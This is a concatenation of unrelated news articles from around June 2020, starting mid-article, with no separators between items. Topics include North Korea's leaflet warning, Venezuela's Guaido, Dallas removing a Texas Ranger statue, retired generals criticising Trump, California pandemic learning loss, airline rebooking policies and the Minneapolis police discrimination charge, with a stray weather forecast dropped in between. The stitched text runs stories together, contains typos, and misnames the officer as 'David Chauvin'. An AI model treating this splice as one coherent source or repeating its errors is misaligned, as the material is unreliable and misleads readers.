He said that the November 9, 2019 judgment of the Supreme Court paved the way for the construction of Ram Mandir and the Modi-led government has formed a trust in consonance of the court order.

He said that the initiative by the Modi-government to abolish and criminalise the evil practice of triple-talaq has provided much relief to the Muslim women. The Muslim Women (Protection of Rights on Marriage) Act, 2019 will further empower them, said Thakur.
North Korea warns South of ending military pact over propaganda leaflets

Iran Press TV

Thursday, 04 June 2020 5:54 AM

North Korean leader Kim Jong-un's sister has warned South Korea of the possible scrapping of a recent inter-Korean military agreement if Seoul fails to stop North Korean defectors from sending propaganda leaflets into the Demilitarized Zone (DMZ) separating the two countries.

In a statement carried by the Korean Central News Agency (KCNA) on Thursday, Kim Yo-jong said the military pact reached in 2018 that promised to eliminate practical threats of war was "hardly of any value."

She added that the North could also permanently shut the Kaesong industrial region and the liaison office in the North Korean border town if Seoul did not stop the defectors.

Thousands of anti-Pyongyang leaflets were recently flown with balloons into the North's side of the demilitarized zone. The leaflets often carried propaganda messages that condemned Kim Jong-un over the country's missile and nuclear programs.

"If such an act of evil intention committed before our eyes is left to take its own course under the pretext of 'freedom of individuals' and 'freedom of expression,' the South Korean authorities must face the worst phase shortly," Kim Yo-jong said in the statement.

The KCNA report did not single out any individuals for blame in the leafleting. But Kim Yo-jong's comments came after a former North Korean diplomat and another North Korean defector won parliamentary seats in South Korea's general elections in April.

North and South Korea have been separated by the Demilitarized Zone since the three-year Korean War came to an end in 1953.

The zone, which is one of the world's most heavily-fortified border areas, is planted with some two million mines and guarded by barbed wire fences, tank traps, and combat troops on both sides.

Kim Yo-jong serves unofficially as her brother's chief of staff and formally as a vice director of the ruling Workers' Party's powerful Central Committee.

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France denied reports that Venezuelas opposition leader Juan Guaido was at the French Embassy in Caracas after President Nicolas Maduro hinted that his rival was hiding at a diplomatic location. Earlier, Venezuelan Foreign Minister Jorge Arreaza had said that the security forces can not enter the premises of French or Spanish Embassy and arrest by force is not possible.

Guaido has emerged as a challenger for the Maduro regime after he took the oath of office in January 2019, declaring himself interim president of the South American nation. He promised to end to the usurpation Maduro, called for the creation of a transitional government and free elections. He received support from the United States and many Latin countries like Brazil and Colombia.

Maduro has repeatedly accused Guaido of planning a coup with the help of the US and European countries, especially after authorities arrested ex-Green Beret for an alleged failed attack to overthrow the incumbent President. Venezuela state TV broadcasted a confession video of the US citizen in which he admitted to being involved in the plan to overthrow Maduro regime in a coup.

Luke Denman, one of the 13 people captured by the authorities, said in the video that he was hired to help Venezuelans take back control of the country. Denman, a former US special operations forces member, appeared to explain that the plan was to take Maduro out of the country by taking control of an airport.

Read: With Cheap Gasoline Scarce, Venezuelans Can Buy At A Premium

Maduro accused Trump of invasion

Maduro held a press conference after the video was shown on state television and accused US President Donald Trump of trying to overthrow him. Calling Trump the direct chief of invasion, Maduro assured that the US citizens would have a fair trial but did not disclose the whereabouts of the detainees.

Later, Trump denied the governments involvement in what Venezuela called a failed armed incursion and captured two American mercenaries. The US State Department lashed out at Maduro for allegedly cooking up a melodrama to distract people from problems festering inside crisis-hit Venezuela.

Read: Venezuela To Partially Reopen The Country From June 1 With On-off Policy

(Image: AP)
Charleston, SC (29403)

Today

Cloudy with rain developing this afternoon. High around 40F. Winds NNE at 10 to 15 mph. Chance of rain 80%..

Tonight

Cloudy with rain. Icy conditions developing overnight. Low 29F. Winds N at 10 to 15 mph. Chance of precip 80%.
DALLAS - A published account of brutal and racist chapters in the history of an elite Texas investigative agency prompted Dallas officials to remove on Thursday a statue from Love Fields passenger terminal that honoured the agency.

The 12-foot-tall bronze statue of a Texas Ranger, called One Riot, One Ranger, has been a focal point in the terminal since 1963.

A new book on the Rangers, Cult of Glory, offered chilling details about dark chapters of the Rangers history. The book by former Pulitzer Prize finalist Doug J. Swanson, a longtime reporter for The Dallas Morning News who is now on the University of Pittsburgh faculty, says the statue depicts Capt. Jay Banks. The captain was in charge of a Ranger contingent dispatched in 1957 by then-Gov. Allan Shivers to keep black students from enrolling in Mansfields high school High School and a Texarkana community college despite court rulings that should have prevented Shivers from doing so.

Swanson tells his former newspaper that Banks became sort of the face for that because theres a famous picture of him leaning against a tree in front of Mansfield High School while a black figure hangs in effigy above the school, with Banks making no effort to take it down.

And Banks sided with the mobs who were there to keep the black kids out. So, he was the face of that and of a statue that welcomes people to Dallas, he said.

Swanson also noted the title One Riot, One Ranger came from a Rangers report of a scene at the Grayson County Courthouse in Sherman in 1930, when a black man stood trial for assaulting a white woman. The mob eventually set fire to the courthouse and roasted the black man alive after he sought refuge in a courthouse safe.

Arriving amid acute racial tension sparked by the death in Minneapolis police custody of George Floyd, the book prompted officials to remove the statue from the airport terminal. Airport spokesman Chris Perry said the statue will be placed in storage for now with its fate to be decided eventually by the citys Office of Arts and Culture.

This is the third time in four years that Dallas has removed from a public space a statue that had become racially provocative.

The city removed in September 2017 an 81-year-old heroic statue of Confederate Gen. Robert E. Lee and renamed the park that has borne his name. It was among several Lee monuments around the country removed from public view amid the fallout over racial violence in Charlottesville, Virginia. A Dallas-based law firm bought the statue from the city for $1.4 million.

In February 2019, the City Council voted to remove the 121-year-old Confederate War Memorial from the citys downtown Pioneer Cemetery.

Meantime, Virginia Gov. Ralph Northam announced Thursday that a towering statue of Lee will be removed from the middle of Monument Avenue, pledging the state will no longer preach a false version of history.


American President Donald Trump has long talked about his support for the United States military. But comments this week show he might not have the full support of military leaders.

On Monday, Trump proposed using military troops to control and stop violent protests following the police killing of George Floyd, an African American man, in Minneapolis, Minnesota.

Trump said, If a city or state refuses to take the actions that are necessary to defend the life and property of their residents, then I will deploy the United States military and quickly solve the problem for them.

As Trump was speaking from the White House, police officers and national guard troops began using chemical spray, smoke and sound bombs to remove peaceful protesters across the street at Lafayette Square.

After the area was cleared, Trump walked past lines of officers in riot gear on his way to St. Johns Episcopal Church at Lafayette Square. Members of Trump's administration joined him, including the defense secretary and the militarys chief of staff.

Trump stood in front of the religious building, which had been damaged during protests a day earlier. The president held a Christian holy book in one hand. Members of the media took pictures and videos of Trump and others with him.



Mariann Budde is the Episcopal bishop of Washington, D.C. She denounced the presidents use of the bible and her church for the image. She said the image was against the teachings of Jesus and everything that our church stands for. She said Trumps action supported the use of tear gas by police officers in riot gear to clear the area in front of the church.

Criticism from retired generals

Members of the U.S. military avoid making overtly political statements. Even former generals avoid criticizing a sitting president -- who serves as the commander-in-chief of the armed forces.

But on Tuesday, retired admiral Mike Mullen said: The events of the past few weeks have made it impossible to remain silent. Mullen was the chairman of the Joint Chiefs of Staff under Presidents George W. Bush and Barack Obama.

Mullen wrote in the Atlantic: It sickened me yesterday to see security personnelincluding members of the National Guardforcibly and violently clear a path through Lafayette Square to accommodate the president's visit outside St. John's Church.

The strongest and most public criticism came Wednesday from retired General James Mattis. He is Trumps former defense secretary. Mattis said in a statement: When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution. Never did I dream that troops taking the same oath would be orderedto violate the Constitutional rights of their fellow citizensmuch less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside.

Mattis added, Donald Trump is the first president in my lifetime who does not try to unite the American peopleInstead he tries to divide us.

The president answered the criticism from Mattis on Twitter. Trump called Mattis the worlds most overrated General. He added that he did not like Mattis' "leadership style or much else about him, and many others agree, Glad he is gone!

Mattis was Trumps first defense secretary. He resigned in 2018 after disagreeing with the president about pulling troops out of Syria.



Current military leadership

Current Defense Secretary Mark Esper and General Mark Milley, the chairman of the Joint Chiefs of Staff, have received criticism for joining Trump on the walk to the church on Monday.

Esper said he knew the group was going to St. Johns. But he said, I was not aware a photo op was happening. Esper also said he did not know that police had forcibly moved peaceful protesters in Lafayette Square to clear the way for Trump. The White House said the order to clear protesters came from Attorney General William Barr.

Esper also said this week that he opposed using American military troops to do the work of law enforcement. He said the Insurrection Act of 1807 should be invoked only in the most urgentof situations. He added, We are not in one of those situations now.

Trumps press secretary, Kayleigh McEnany, said the president was still willing to deploy federal troops, even after Espers comments. If needed, he will use it, McEnany said Wednesday.

When asked if Trump still had trust in his defense secretary, McEnany said, As of right now, Secretary Esper is still Secretary Esper, and should the president lose faith we will all learn about that in the future.

Im Ashley Thompson.

Hai Do wrote this story for Learning English. Ashley Thompson was the editor.

______________________________________________________________

Words in This Story

resident - n. someone who lives in a particular place

spray - n. liquid that is forced out of a container in small drops

staff - n. a group of military officers who help the commanding officer

personnel - n. the people who work for a particular organization

accommodate - v. to do something for someone

oath - n. a formal and series promise to do something

bizarre - adj. very unusual or strange

style - n. a way of behaving or doing things

invoke - v. to make use of a law

faith - n. strong belief or trust in someone
Carl Crawford #3 of the Los Angeles Dodgers makes a catch on a fly ball hit by Yoenis Cespedes #52 of the New York Mets in the fourth inning in game two of the National League Division Series at Dodger Stadium in Los Angeles, Calif., on Oct. 10, 2015. (Sean M. Haffey/Getty Images)

Ex-Dodgers Star Carl Crawford Arrested on Assault Charge

HOUSTONFormer Los Angeles Dodgers star Carl Crawford has been arrested after his former girlfriend accused him of assaulting her during an argument over a man she had begun dating.

An arrest affidavit filed on June 3 by Houston police states that the ballplayer-turned-record producer went to the home of Gabriele Washington on May 8, produced a handgun from which he unloaded the ammunition in her presence, then demanded information on her latest dating relationship.

Washington told investigators Crawford pushed her to the floor, slammed her head against a wall, and choked her. Crawford is free on $50,000 bond.

Carl Crawford #3 of the Los Angeles Dodgers poses for a portrait during spring training photo day at Camelback Ranch in Glendale, Ariz., on Feb. 28, 2015. (Rob Tringali/Getty Images)

When her year-old daughter walked up, she distracted Crawford, who is her father, and Washington ran to call police. Crawford then fled but followed up with threatening cellphone texts to Washington, according to the affidavit.

A message to his attorney, Rusty Hardin, seeking comment was not returned immediately.

The incident happened a week before a 5-year-old boy and a woman drowned in the backyard pool at Crawfords Houston home.

From Houston, the 38-year-old Crawford was a four-time All-Star outfielder. He last played in the major leagues in 2016 with the Dodgers.
Scott Morrison's headline grabber when he addressed the National Press Club two weeks ago was his pledge to collaborate with unions and employers to overhaul the industrial relations system.

But it was another line within the Prime Ministers speech that caught the attention of university administrators wondering whether a truce might be called in another protracted conflict.

Prime Minister Scott Morrison. Credit:Alex Ellinghausen

Mr Morrison noted that some young people were enrolling in universities when they would be better off in TAFE. "I want those trade and skills jobs to be aspired to, not looked down upon or seen as a second best option," he said. "It is a first-best option."

Not for the first time, the PM was making a calculated pitch to his people, the legion of tradies with whom he shares the Sutherland Shire, at the expense of university-educated elites.
Fighting in western Myanmars Rakhine state between government forces and the ethnic Arakan Army has killed 257 civilians and injured 570 others during the period from December 2018 to May of this year, according to figures compiled by RFAs Myanmar Service.



Most were killed by stray bullets or artillery fire or died in military custody, with others caught in crossfire between the two warring parties in northern Rakhine and neighboring Chin state, with each side blaming the other for the deaths, sources told RFA.



AA raids on police outposts in late 2018 and in early 2019 triggered the conflict in northern Rakhine state  a region already devastated by the Myanmar armys campaign to expel 740,000 Rohingya Muslims in 2017.



Both armies are responsible for the loss of civilian life, though, Htu May, a member of parliament in Rakhines Upper House told RFAs Myanmar Service.



Both sides are responsible for civilians deaths in Rakhine, Htu May said.



Moreover, it is the responsibility of [Myanmars central] government, which cant arrange a peace between these two groups. If the government cant make any progress toward peace, and the fighting continues, only the ethnic people and other civilians will be hurt, she said.



The United Nations Office for the Coordination of Humanitarian Affairs (UNOCHA) says that more than 250 civilian homes were burned in May alone, with many people injured, and international organizations have called for greater protection for civilians and their property in Myanmar.



Government won't confirm numbers



Reached for comment, Myanmar military spokesperson Gen. Tun Tun Nyi declined to confirm RFAs tally of civilian deaths, saying government forces dont collect detailed information on civilian casualties and that AA troops sometimes pose as civilians to carry out attacks.



Myanmars army also follows strict rules of engagement in combat, Tun Tun Nyi said.



The Army doesnt attack civilian areas unless we have to fight back against the AA when they attack us, he said, adding that the Myanmar military doesnt publicly announce the numbers of its own soldiers killed in battle.



We do this for reasons of security, not to disregard their service, he said.



Civilians killed in fighting in Rakhine are killed by government air strikes and the use of heavy weapons, AA spokesperson Khine Thukha said. The AA doesnt carry out air strikes or fire heavy weapons into villages.



Media reports say that civilians were killed in fighting by both sides, but actually the killings were done by the Burmese army, he said.



The AA is often accused of launching attacks by troops dressed in civilian clothes, and Myanmars army may be making accurate reports of some of these attacks, said Shwe Phaw Sein, chairperson of the Rakhine Ethnic Congress (REC).



There are some people who know the truth, but they are afraid of telling the truth. There is no opportunity for them to do so, he said.



Peace is not yet beyond reach, but efforts to make contacts between the warring armies must be handled carefully, said United Nationalities Alliance (UNA) leader Sai Nyunt Lwin, noting that reporters speaking to AA spokesmen have had legal trouble following the governments designation in March of the AA as a terrorist organization.



We have to be very careful, and I would like to suggest that both sides stop fighting before national elections [scheduled for later this year], because this fighting can harm the elections, he said.



Myanmars de facto leader Aung San Suu Kyis four-year-old government has long sought to end the countrys multiple ethnic wars with historic peace talks. But those talks have sputtered, with only 10 of the countrys 20-some ethnic armies having signed a 2015 nationwide cease-fire pact considered the foundation for the talks.



Reported by RFAs Myanmar Service. Translated by Khet Mar. Written in English by Richard Finney.
Student activist David Hogg, center, with Patricia and Manuel Oliver, parents of Joaquin Oliver, who was among the 17 people killed Feb. 14, 2018, at Marjory Stoneman Douglas High School, in the documentary "Parkland Rising." (Abramorama)

Feb. 14, 2018 feels like several lifetimes ago. Or maybe 17 lifetimes, to put a more precise number on it. That was how many people died that day at Marjory Stoneman Douglas High School in Parkland, Fla. Seventeen more were wounded in what is the deadliest high school shooting in U.S. history.

The documentary Parkland Rising, directed by Cheryl Horner McDonough, follows several survivors and parents in the months following the attack, all the way to the 2018 midterm elections. In the shooting's aftermath, students such as David Hogg, Jaclyn Corin and Emma Gonzalez, as well as fathers Manuel Oliver and Fred Guttenberg, almost immediately and remarkably became activists, leading a fight for gun control that thrust them into the national spotlight, created a political movement and made them targets for harassment.

McDonough wastes little time, reeling off a montage during the opening credits that features the talk show and public appearances that made the kids media stars seemingly overnight. As 20-year-old Matt Deitsch, an organizer of the movement and a Marjory Stoneman Douglas grad whose younger siblings attended the school at the time of the shooting, tells Trevor Noah in a clip, I know you want us to be kids, but we have more important things to do.

Those more important things included organizing the March for Our Lives demonstration in Washington, D.C., that drew support from celebrities such as George Clooney and Oprah Winfrey and inspired satellite events around the world, and facing off with the NRA and its supporters in a push to enact stricter gun laws.

Aside from an early sequence in which AP psychology teacher Ronit Reoven and some of her students recall details of the tragic day  made understandably more disturbing through the use of actual audio and video from the school  Parkland is not a particularly introspective film.

Interviews, notably with Hogg and Oliver, display personalities and some of the day-to-day changes in the subjects' lives but concentrate more on process and planning than revealing anything deeper. The documentary "After Parkland," released in 2019, takes a more intimate approach to the lives lost.

"Parkland Rising," on the other hand, focuses on the activism and the political impact it had, an impassioned record of incremental change in an age of uncertainty. The fight continues.
Veteran Bollywood producer Anil Suri, died due to novel coronavirus (COVID-19) on Thursday, 4 June 2020. He was 77. Suri was rushed to the Lilavati and Hinduja hospitals in Mumbai after developing a fever on 2 June, but was denied a bed at both hospitals, informed his brother Rajiv Suri.

PTI quoted Rajiv as saying, "He was then taken to Advanced Multispecialty Hospital on Wednesday night. He had COVID-19. On Thursday evening, they said something is amiss and he was put on a ventilator. He died around 7:00 pm."

Anil Suri's final rites were held at the Oshiwara cremation ground on the morning of 5 June. The funeral was attended by four family members, who wore Personal Protective Equipment (PPE) to protect themselves from COVID-19.

Anil Suri had produced films like the 1978 film Karmayogi, starring Raaj Kumar, Jeetendra and Rekha, and the 1984 film Raaj Tilak, which featured a stellar cast including Hema Malini, Sunil Dutt, Dharmendra, Reena Roy, Sarika and Kamal Haasan.

Rajiv Suri said that it was heartbreaking to lose both his brother and his favourite director on the same day, referring to the death of veteran filmmaker Basu Chatterjee on 4 June.

Anil Suri is survived by his wife and two children. May his soul rest in peace.

Recently, Bollywood music composer Wajid Khan, of the Sajid-Wajid duo, also passed away due to Coronavirus and kidney ailment.

ALSO READ: Chhoti Si Baat And Byomkesh Bakshi Director Basu Chatterjee Passes Away

ALSO READ: EXCLUSIVE: Actress Bindiya Goswami Remembers Basu Chatterjee & Her Enriching Journey With Him
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Stephanie Montalbo's daughter is an honor-roll student -- definitely "not the falling-behind type of kid," her mom said -- who's always been diligent about turning in assignments, even during the coronavirus pandemic.

That said, keeping up in school has been tough. Montalbo doesn't own a computer. The public libraries Montalbo relied on for computer access are closed. A smartphone works fine for Zoom classes, but it's not suited for schoolwork.

So for the first two months of distance learning, Montalbo's eighth grader had to do her homework on laptops borrowed from a neighbor and from relatives. (She's since gotten a loaner computer from the L.A. Unified School District.)

"She is not behind," Montalbo said of her daughter, "but it's just a struggle, and I hate to see her struggling to get schoolwork done ...

"We make sure it gets done," she added. "But it's a struggle."

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A LONG SUMMER -- OR A NATURAL DISASTER?

We need to brace ourselves for the possibility that the coronavirus pandemic will knock thousands of California children measurably behind in school, perhaps for years.

This is a warning that a range of officials -- from local school district leaders up to Gov. Gavin Newsom -- have been repeating since March. Though these officials have launched massive, expensive and unprecedented programs to keep kids on track, many admit these efforts won't work.

Concerns about learning loss will likely help California school districts determine whether to reopen campuses in the fall. This week, Los Angeles Unified School District officials said learning loss would be a driving factor in their forthcoming reopening decision -- right alongside health and safety considerations.

"For some [students] ... there may be a lifelong impact if they are not back in school sometime soon," Superintendent Austin Beutner said.

And academic experts say there's good reason for officials to fear COVID-19 school closures will cause a "learning loss" crisis, especially for children whose parents aren't employed, healthy, housed or connected to the internet.

David Quinn, an assistant professor at the USC Rossier School of Education, puts it this way: For vulnerable students, "the impact could be closer to something like we see from more broad natural disasters, like Katrina."

Katrina, as in Hurricane Katrina. Five years after that disaster, a long-term study found one-third of the students uprooted from their home schools were still at least one year behind in school.

Fourth-grader Miriam Amacker does school work in her room at her family's home in San Francisco. (Jeff Chiu/AP)

But for other kids -- perhaps students in more stable situations -- Quinn said the coronavirus's effect on their academic progress will be much less severe: "More akin to a lengthy summer vacation." Some students might even thrive during the shutdowns.

And while California schools could be facing sharp state budget cuts, experts say educators and state policymakers need to make triaging students based on their levels of learning loss a budgetary priority.

"Knowing there's going to be this huge variation, we need to have a way of being able to diagnose what each student needs," said Heather Hough, executive director of Policy Analysis for California Education (PACE), a non-partisan research center.

JUST HOW MUCH 'LEARNING' WILL KIDS 'LOSE?'

If you think comparing the coronavirus to Katrina sounds extreme, consider the effects of another interruption to student learning: the so-called "summer slide."

For years, researchers have studied the learning slowdown that takes place over the summer as well as how chronic absences and even snow days trip up students' progress.

So researchers at NWEA, a prominent testing consortium, created a forecast based on the assumption that students have been losing ground at the rate they might over a typical summer since mid-March, when campuses closed.

If that's the case, most students in fourth through eighth grade will start school next fall having lost at least half of the previous year's gains in math, the NWEA researchers wrote in a working paper released this month.

Screenshot from the working paper 'Projecting the potential impacts of COVID-19 school closures on academic achievement' by Kuhfeld, et al.

In some grades, the losses could be even more significant. The most grim number in the forecast shows students entering sixth grade next year could be testing at fifth grade levels in math. (Students' transition to middle school may explain this especially scary projection.)

"Similar to the research that found students took nearly two full years to make up lost ground for the loss in instructional time due to Hurricane Katrina," the NWEA researchers wrote, "our COVID loss projections provide new evidence on the scope of the long-term educational recovery efforts that will be required."

Students caught in a "COVID slide" could also give back several month's worth of learning in reading -- again, assuming that the slide occurs at the rate of a typical summer.

Forecast co-author Megan Kuhfeld, a research scientist at NWEA, readily acknowledges that the analogy to summer learning loss is fairly rough. Unlike during summer breaks, many teachers are still at least attempting to deliver new material and connect with students from a distance.

But Kuhfeld and co-author Beth Tarasawa also created a projection that assumes "kids aren't losing ground, but not really making gains either," Kuhfeld said -- a forecast they call the "COVID slowdown."

If that's what's happening, the negative effects are "not quite so dire": Students "might be missing a couple extra months of learning, but you're not really falling behind," Kuhfeld said. (In the line graphs below, this forecast is the heavier dotted line.)

WILL THESE LEARNING LOSS PREDICTIONS COME TRUE?

So which scenario is more likely, a "COVID slide" or a "COVID slowdown"? Rather than picking one, Kuhfeld believes students will end up "pretty split" between the two.

"I see these as two situations that are likely happening for different groups of students," Kuhfeld said -- groups of students that largely break down along some familiar lines of economic and family status.

"We're really going to see the inequalities between families mattering a lot for how much progress kids make," said Paul von Hippel, an associate professor at the University of Texas' LBJ School of Public Affairs.

For instance, if you're the child of a "single parent, who's maybe just lost their job, maybe doesn't have more than a month of expenses in the bank, who maybe didn't get past high school themselves," von Hippel said, "you're not in as advantaged a situation. It's going to be a struggle to make good progress."

Linda Darling-Hammond, a noted education researcher and chair of the State Board of Education, said there's reason to believe California students will fare better than NWEA's forecast suggests.

During a state Assembly hearing in April, Darling-Hammond said most California schools did not cease instruction for long when the pandemic hit -- but the NWEA forecast assumed all instruction stopped.

"California has a better start on these goals than many other states," Darling-Hammond said. "Districts of course varied in how they managed initial closures, but 100% of them are now engaged in formal distance learning."

Some teachers are also leery of the most dire forecasts.

Manuel Rustin teaches at John Muir High School in Pasadena. He isn't worried about "as big a magnitude" of learning loss in his English classes, though he acknowledges gaps in math courses could be bigger. (The forecasts suggest he's onto something; reading levels aren't projected to drop by as much, if at all.)

"I think there's reason to hope it won't be quite as bad as the NWEA projections suggest," said von Hippel, who's known among academics for raising doubts about the extent of summer learning loss.

That said, von Hippel says policymakers are right to take the NWEA's warning seriously:

"It's almost a sure thing," he said, "that children are going to learn less when schools are closed."

A padlocked gate at Micheltorena Street Elementary School, an L.A. Unified School District campus in Silver Lake, on April 1, 2020. (Kyle Stokes/LAist)

WHAT DO WE DO ABOUT IT?

California schools may have to contend with a crisis of learning loss while also absorbing cuts in their funding.

Gov. Gavin Newsom's state budget proposal calls for slashing the state's main K-12 funding formula by 10% -- a hit deep enough that many districts have already warned they'll have a difficult time reopening campuses, much less battling learning loss. (LAUSD has warned that reopening given these budget constraints is both unrealistic and potentially unsafe.)

But, if enacted, Newsom's budget would also redirect $4.4 billion in federal coronavirus relief money to public schools -- with instructions that districts spend it all by the end of December 2020 to address learning loss, extend the school year or provide extra help for students.

Among the potential uses Newsom suggests for that money? "Diagnostic assessments of student learning needs."

That's another way of saying: low-stakes intake exams for students. Students would take these tests early next school year to figure out just how much of last year's content they've remembered.

"We know our teachers will assess our students where they're entering," state superintendent Tony Thurmond said last week, "and if they need some additional support and some intervention on how to be on grade level, we know that our teachers will provide that."

California schools already have these diagnostic tests on hand. But Heather Hough -- the director of the PACE consortium -- hopes state officials take an active role in directing how schools use them.

Hough says California officials need a comprehensive, statewide picture of how bad the "COVID slide" has been. The only way that will happen, she argues, is if the state makes these diagnostic assessments required in the fall.

Left to their own devices, Hough says schools might not choose to use the same versions of these low-stakes tests. So she also argues state officials could coordinate which of these assessments to use -- or simply write their own, brand-new intake exam.

"We're making so many assumptions about what that learning loss might look like," Hough said. "If we have a consistent assessment, we don't have to make assumptions anymore ... Instead of making a guess about what kids need, we can make an informed decision."

If there was any silver lining to the shutdowns, it's that they took place so close to the end of the school year -- when the pace of content delivery, in general, slows. Teachers begin assigning final projects. Even in normal times, students would begin to drift. (And the NWEA data bears this out, Kuhfeld said.)

But now the fall is bearing down -- and it's not clear whether schools will be able to abandon distance learning by the time the new academic year begins.

"The first three months of school are a critical period for students' learning," Hough said. "So we're all really going to have to take a hard look at what district learning looks like in that setting."

"The approach many districts took in the spring," she warned, "won't necessarily port over to the fall."
Locked-down travellers everywhere are searching for holiday flights to alleviate their itchy feet.

Most are looking to jet off later this year or in 2021, hoping that the coronavirus crisis will have disappeared by then. But they are eyeing up flight options with a sense of wariness over ticket flexibility, the pandemic having yielded chaos for refund claims.

In a bid to help UK passengers-in-waiting book flights with peace of mind, flight tips site Head for Points has read the small print so they don't have to  and has revealed which airlines offer the most flexibility for bookings made right now for flights later in 2020 and 2021.

In a bid to help UK passengers-in-waiting book flights with peace of mind, fight tips site Head for Points has read the small print so they don't have to

It says that there are 'a lot of options if you book now for travel in 2020' but for early 2021, 'it is a different story'. Be careful, it warns.

The site says that the following airlines 'are not allowing voluntary cancellations, for cash or vouchers, for tickets booked now for travel in 2021': British Airways, Virgin Atlantic, Emirates, Qatar Airways, Etihad, Aer Lingus and Iberia.

Lufthansa, on the other hand, 'guarantees to let you move a flight booked for January to April 2021' and KLM 'guarantees to let you move a flight booked for any future date'.

Read on for the details Head for Points unearthed about booking with each of these carriers.

British Airways

There is no flexibility for bookings made now for travel in 2021 with British Airways

'Bookings made until July 31 for travel completed by December 31, 2020, are eligible for free date and destination changes,' explains Head for Points. 'However, whilst the usual change fee has been waived, you will have to pay any difference in fare.'

It adds: 'You can also request a "Book With Confidence" voucher. The same date restrictions apply as above. The voucher is valid for two years and you must travel before April 30, 2022. The voucher can be used as payment or part-payment, so you can top it up with cash if required.

'There is no flexibility for bookings made now for travel in 2021.'

More information can be found here.

Virgin Atlantic

With Virgin Atlantic, bookings made on or before June 30, 2020, for travel before December 31, 2020, are eligible for rebooking until September 30, 2022

You'll need to nail down your plans to avoid fees with Virgin Atlantic.

Head for Points says: 'Bookings made on or before June 30, 2020, for travel before December 31, 2020, are eligible for rebooking until September 30, 2022. The change fee will be waived once only, so you can't change your mind several times. You will have to pay any difference in fare.

'If you do not know where you want to go, you can complete the "open ticket" form which will let Virgin Atlantic keep your booking open and let you rebook at your convenience. The same date restrictions apply as above.

'There is no flexibility for bookings made now for travel in 2021.'

More information here.

Emirates

Head for Points says: 'Bookings made on or before June 30, 2020, for travel prior to November 30, 2020, are eligible for an "open ticket". Opening a ticket extends its validity for 24 months and can be rebooked on any flight to the same destination or region at any time with no fees.

'Alternatively, you can request a travel voucher for the value of your ticket. This is valid for one year from date of issue and can be used for any Emirates flight or Emirates product or services.

'There is no flexibility for bookings made now for travel from December 1, 2020.'

For more information, click here.

Qatar Airways

Qatar Airways offers several options for bookings made before September 30, 2020

There is no flexibility for bookings made now for travel in 2021 with Qatar Airways, says Head for Points.

But the site says that the following options are available for bookings made before September 30, 2020, for travel starting on or before December 31.

'You can hold on to your ticket and extend its validity for use by 24 months from the original booking.

'You can request a travel voucher for the original value of your booking, plus 10 per cent. The voucher is valid for 24 months from issue and can be used on any flight in the Qatar Airways network.

'You can swap the value of your booking to Qmiles at a rate of US$1 to 100 Qmiles.'

For more information, click here.

Etihad

If you booked your flight before June 30 to travel any time until November 30, 2020, you can change your flight for free.

More information here.

Lufthansa

The German airline has one of the most flexible policies.

Head for Points says: 'Bookings made before June 30, 2020, for travel starting on or before April 30, 2021, are eligible for rebooking. Your rebooked trip must be started prior to December 31, 2021. Whilst the change fee is waived for your first change, you must pay any fare difference.

'There is no flexibility for bookings made now for travel from May 1, 2021.

Read more here.

KLM

If you book a flight now with KLM, you're protected for flights in 2021, says Head for Points

The Dutch carrier offers plenty of options.

Head for Points writes: 'For new bookings made after April 22, 2020, you can change your flight dates without paying a change fee. You will have to pay any difference in fare.

'You can also use the full value of your booking to change your destination. You will not have to pay a change fee when rebooking on KLM, Air France, Delta Air Lines, Virgin Atlantic, and Kenya Airways flights.

'There does not appear to be a cut-off date, so you should be protected for flights booked now for travel in 2021.'

You can read more about KLM's flight policy here.

Aer Lingus

With Aer Lingus there is no flexibility for bookings made now for travel from October 1, 2020

'You can change the date of your trip if you are due to travel prior to September 30, 2020,' writes Head for Points. 'Change fees are waived, but any fare difference will apply.

'If you are due to travel prior to June 30, 2020, you are eligible for a travel voucher for the full amount of our booking plus 10 per cent. The voucher is valid for five years from issue date and can be used across multiple bookings.

'There is no flexibility for bookings made now for travel from October 1, 2020.'

You can read more here.

Iberia

For Iberia, says Head for Points, bookings made prior to June 30 for travel starting on or before December 31, 2020, are eligible for a date, time, origin or destination change free of charge. You will have to pay any fare difference.

'There is no flexibility for bookings made now for travel from January 1, 2021.

For more information, click here.

Rob Burgess, editor of www.headforpoints.com, said: 'In general, as long as you book during June for travel during 2020, most airlines will guarantee you a degree of flexibility to change your ticket or switch it for a voucher. Travellers booking for 2021 should be wary, however - at present, very few airlines are offering any flexibility if you voluntarily choose not to travel.

'Unless your flight ends up being cancelled you could easily find that you don't have a leg to stand on, with your travel insurance also refusing to repay you.'
Minneapolis Police Chief Medaria Arradondo, right, kneels as the hearse of George Floyd arrives to North Central University ahead of funeral service on June 4, 2020, in Minneapolis, MN. - (Salwan Georges/The Washington Post via Getty Images)By CHRISTINA CARREGA, ABC News



(MINNEAPOLIS) -- The Minneapolis City Council is expected to hold an emergency hearing on Friday to vote on immediate reform within the city's police department.



The meeting was called on Thursday after Minnesota's Department of Human Rights Commissioner Rebecca Lucero filed discrimination charges on Monday against the Minneapolis Police Department after George Floyd's death.



Floyd, 46, was seen on a 10-minute cellphone video on May 25 pleading with former officers David Chauvin, Tou Thao, Thomas Lane and Alexander Kueng, telling him that he could not breathe as Chauvin's knee pressed against the back of his neck.



"I believe there is sufficient information to investigate whether the respondent utilizes systemic discriminatory patterns or practices towards people of color, specifically Black community members, on the basis of race and in the area of public services," wrote Lucero in the "charge of discrimination" document.



After all four were fired from the police department, Chauvin was the first to get charged with third-degree murder and second-degree manslaughter.



In Chauvin's arrest warrant documents, it read that Chauvin continuously pressed his knee onto Floyd's neck for 8 minutes and 46 seconds as Lane held down his legs and Kueng held down his back. Thao stood nearby with both of his hands in his pockets, the video shows.



The state's attorney general took over the case and amended the charges against Chauvin to include second-degree murder. Thao, Kueng and Lane were also arrested and charged with aiding and abetting Chauvin with second-degree murder and second-degree manslaughter.



Lucero says this investigation should look at Floyd's death and other similar cases over the last 10 years to determine if any training, policies, procedures, practices were "unlawful race-based policing, which deprives people of color, particularly Black community members, of their civil rights under the Minnesota Human Rights Act."



The meeting is expected to vote on "quick changes" as the investigation progresses, ultimately resulting in a consent decree from the courts that will require change, said Lucero, who was appointed to the position in January 2019 by Gov. Tim Walz, a Democrat.



The investigation is backed by many local elected officials, including Walz, the City Council and Justin Terrell, the executive director from the Council for Minnesotans of African Heritage.



"We urge the state to hold its full weight to hold the Minneapolis Police Department accountable for any and all abuse of power and harms to our community and stand ready to aid in this process as full partners," said the city council in a statement.



